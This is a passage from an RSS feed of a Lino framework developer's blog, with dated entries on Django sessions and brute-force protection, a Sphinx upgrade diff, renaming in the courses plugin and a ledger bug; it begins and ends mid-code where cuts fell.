    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_decoded&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SESSION_KEY&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expire_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that a session is created only when a user has authenticated. Se we cannot
use &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;sessions&lt;/span&gt;&lt;/code&gt; to replace &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;ipdict&lt;/span&gt;&lt;/code&gt; because the main purpose of &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;ipdict&lt;/span&gt;&lt;/code&gt; is to protect against brute-force attacks, i.e. it acts
before any session is created.&lt;/p&gt;
&lt;p&gt;At the moment &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;ipdict&lt;/span&gt;&lt;/code&gt; is not suitable for sites with
very many users because it stores every connection in an in-memory &lt;cite&gt;dict&lt;/cite&gt;.  We
might optimize it some day in the future to remove every entry after a
successful authentication.&lt;/p&gt;
&lt;p&gt;So it is more future-proof to use &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;sessions&lt;/span&gt;&lt;/code&gt; for
implementing our new feature. And to even reimplement the &lt;cite&gt;ipdict.Connections&lt;/cite&gt;
table to use sessions instead of ipdict.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="inactive-sessions"&gt;
&lt;h2&gt;Inactive sessions&lt;a class="headerlink" href="#inactive-sessions" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sessions are deleted only when the user signs out manually.  If a user signs in
from a different device or a different browser, they get a new session.&lt;/p&gt;
&lt;p&gt;The default value for &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;SESSION_COOKIE_AGE&lt;/span&gt;&lt;/code&gt; is two weeks, which makes
sense: if you use Lino once a week, you don’t want to sign in each time. We
don’t want to change this.  But a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-operator" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site operator&lt;/span&gt;&lt;/a&gt; won’t be happy if
inactive sessions are being counted when evaluating their sessions limit.&lt;/p&gt;
&lt;p&gt;A user signs in, starts working in Lino, then goes for a coffee break. The break
lasts longer than one hour. Meanwhile other users have tried to sign in and the
site’s sessions limit has been reached.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0116.html</guid><pubDate>Sat, 16 Jan 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, January 5, 2021</title><link>https://luc.lino-framework.org/blog/2021/0105.html</link><description>&lt;section id="tuesday-january-5-2021"&gt;
&lt;h1&gt;Tuesday, January 5, 2021&lt;a class="headerlink" href="#tuesday-january-5-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3912"&gt;#3912&lt;/a&gt; : The Sphinx upgrade to 3.4.2 took me more time than usual
because it forced my to (finally) convert the documentation in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.management.commands.html#module-lino.management.commands" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.management.commands&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to prosa-style docs in
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#specs-lino-admin-commands" title="(in Lino Developer Guide)"&gt;&lt;span&gt;The django-admin commands added by the lino plugin&lt;/span&gt;&lt;/a&gt; (in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#specs-lino" title="(in Lino Developer Guide)"&gt;&lt;span&gt;lino : Lino core functionality&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0105.html</guid><pubDate>Tue, 05 Jan 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, December 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/1222.html</link><description>&lt;section id="tuesday-december-22-2020"&gt;
&lt;h1&gt;Tuesday, December 22, 2020&lt;a class="headerlink" href="#tuesday-december-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="testing-the-new-sphinx-version"&gt;
&lt;h2&gt;Testing the new Sphinx version&lt;a class="headerlink" href="#testing-the-new-sphinx-version" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After upgrading to new Sphinx 3.4 version and rebuilding all docs (which worked
out of the box), I had the following changes in the &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; repository:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;help_texts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;help_texts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="mi"&gt;3575&lt;/span&gt;&lt;span class="n"&gt;f44af&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;f3e6af743&lt;/span&gt; &lt;span class="mi"&gt;100644&lt;/span&gt;
&lt;span class="o"&gt;---&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;help_texts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="o"&gt;+++&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;help_texts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="o"&gt;@@&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="o"&gt;@@&lt;/span&gt; &lt;span class="n"&gt;two&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;should&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;considered&lt;/span&gt; &lt;span class="n"&gt;similar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;     &amp;#39;lino.dupable.Dupable.update_dupable_words&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;phonetic&lt;/span&gt; &lt;span class="n"&gt;words&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;     &amp;#39;lino.dupable.Dupable.find_similar_instances&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;Return&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;queryset&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;similar&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;     &amp;#39;lino.dupable.DupableChecker&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;Checks&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="n"&gt;repairable&lt;/span&gt; &lt;span class="n"&gt;problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;-    &amp;#39;lino.dupable.DupableChecker.model&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;Dupable&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;+    &amp;#39;lino.dupable.DupableChecker.model&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mixins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dupable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Dupable&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;     &amp;#39;lino.dupable.SimilarObjects&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;Shows&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;similar&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;     &amp;#39;lino.dupable.SimilarObjects.master&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;     &amp;#39;lino.duplicable.Duplicate&amp;#39; : _(&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="n"&gt;Duplicate&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;selected&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;),&lt;/span&gt;
&lt;span class="s2"&gt;@@ -193,13 +193,13 @@ of a Change.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.Change.master&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;The database object which acts as &amp;quot;master&amp;quot;.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.Change.object&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;The database object which has been modified.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.Changes&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;The default table for Change.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.Changes.model&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;alias of Change&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.Changes.model&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;alias of lino.modlib.changes.models.Change&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.ChangesByObject&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;Slave Table showing the direct changes related to the current&lt;/span&gt;
&lt;span class="s2"&gt; object.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.ChangesByObject.model&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;alias of Change&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.ChangesByObject.model&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;alias of lino.modlib.changes.models.Change&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.ChangesByMaster&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;Slave Table showing the changes related to the current object,&lt;/span&gt;
&lt;span class="s2"&gt; including those applied to &amp;quot;child&amp;quot; objects.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.ChangesByMaster.model&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;alias of Change&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;lino.modlib.changes.ChangesByMaster.model&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;alias of lino.modlib.changes.models.Change&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="s1"&gt;&amp;#39;lino.modlib.chat.Plugin&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;See lino.core.plugin.Plugin.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="s1"&gt;&amp;#39;lino.modlib.chat.Plugin.get_head_lines&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;Adds a JS constant to let react know we want to include WS chat info&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The changed content of these help texts is itself obviously caused by some
change in Sphinx’s internals. Actually the help text has become better. What I
don’t understand is: why do we have a &lt;cite&gt;help_text&lt;/cite&gt; for the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;model&lt;/span&gt;&lt;/code&gt;
attribute of these tables? This is useless data, isn’t it? Not urgent. To be
continued.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="remove-custom-activity-layouts-from-lino-voga-default"&gt;
&lt;h2&gt;Remove custom activity layouts from Lino Voga default&lt;a class="headerlink" href="#remove-custom-activity-layouts-from-lino-voga-default" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After a first meeting with Celia for a new &lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt; production site I started
to review the end-user documentation page &lt;a class="reference external" href="https://voga.lino-framework.org/userman/tour.html#voga-tour" title="(in Lino Voga)"&gt;&lt;span&gt;An introduction to Lino Voga&lt;/span&gt;&lt;/a&gt;. Which, as usual with
me, lead rather to a set of code changes than to a noteworthy improved
documentation.&lt;/p&gt;
&lt;p&gt;The following changes are mostly in the courses plugin but caused changes in 14
repositories, e.g. avanti, presto, amici, mentori and other applications because
most of them use some variant of the courses plugin.&lt;/p&gt;
&lt;p&gt;The three activity types “Courses”, “Hikes” and “Journeys” are now specific to
the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_voga.lib.roger.courses.html#module-lino_voga.lib.roger.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_voga.lib.roger.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin, which is used by the &lt;a class="reference external" href="https://dev.lino-framework.org/projects/voga2.html#module-lino_book.projects.voga2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;roger&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  and &lt;a class="reference external" href="https://dev.lino-framework.org/projects/voga3.html#module-lino_book.projects.voga3" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;voga3&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  demo
projects, but not by a plain voga (e.g. &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.voga1.html#module-lino_book.projects.voga1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;voga1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;). I wrote some developer documentation about
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/plugin_inheritance.html#plugin-namespaces" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Plugin namespaces&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As a side effect of above, I continued to tidy up a historic naming problem. The
default courses plugin had two tables &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Courses&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Activities&lt;/span&gt;&lt;/code&gt;,
and nobody (including myself) really understood their difference.  Now they are
named Activities and ActivitiesByLayout. I also renamed most tables CoursesByXxx
to ActivitiesByXxx, and the ActivityLayouts choicelist to ActivityLayouts. Note
that the plugin appname itself remains “courses”, and the model name remains
“Course”: changing these would cause extra work with database migrations.&lt;/p&gt;
&lt;p&gt;The actor attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;_course_area&lt;/span&gt;&lt;/code&gt; of Activities and Enrolments was until
now the choice itself. Now it is named &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;activity_layout&lt;/span&gt;&lt;/code&gt; and contains the
&lt;em&gt;name&lt;/em&gt; of the activity layout. This was needed because choicelists are loaded
only after the models. Until now it worked rather by miracle.&lt;/p&gt;
&lt;p&gt;I fixed a subtle core behaviour that took me some time to understand. I was
surprised to see that Lino chose &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AllActivities&lt;/span&gt;&lt;/code&gt; instead of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Activities&lt;/span&gt;&lt;/code&gt; as default table for &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;courses.Course&lt;/span&gt;&lt;/code&gt;. The
explanation and solution was in &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.register_actor()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The courses workflows were missing in &lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The demo fixture of the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin now adds a
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/cal.html#term-calendar-entry-type" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;calendar entry type&lt;/span&gt;&lt;/a&gt; called “Activities”.&lt;/p&gt;
&lt;p&gt;I added the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.phones.html#module-lino_xl.lib.phones" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.phones&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin to &lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt; (but not addresses).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1222.html</guid><pubDate>Tue, 22 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, December 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/1217.html</link><description>&lt;section id="thursday-december-17-2020"&gt;
&lt;h1&gt;Thursday, December 17, 2020&lt;a class="headerlink" href="#thursday-december-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I now saw that already before the upgrade there must have been some bug that
caused all movements of a bank statement to be in the same direction:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;create_ledger_movement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;462&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;210&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;3000.00&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SWB 1:1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span 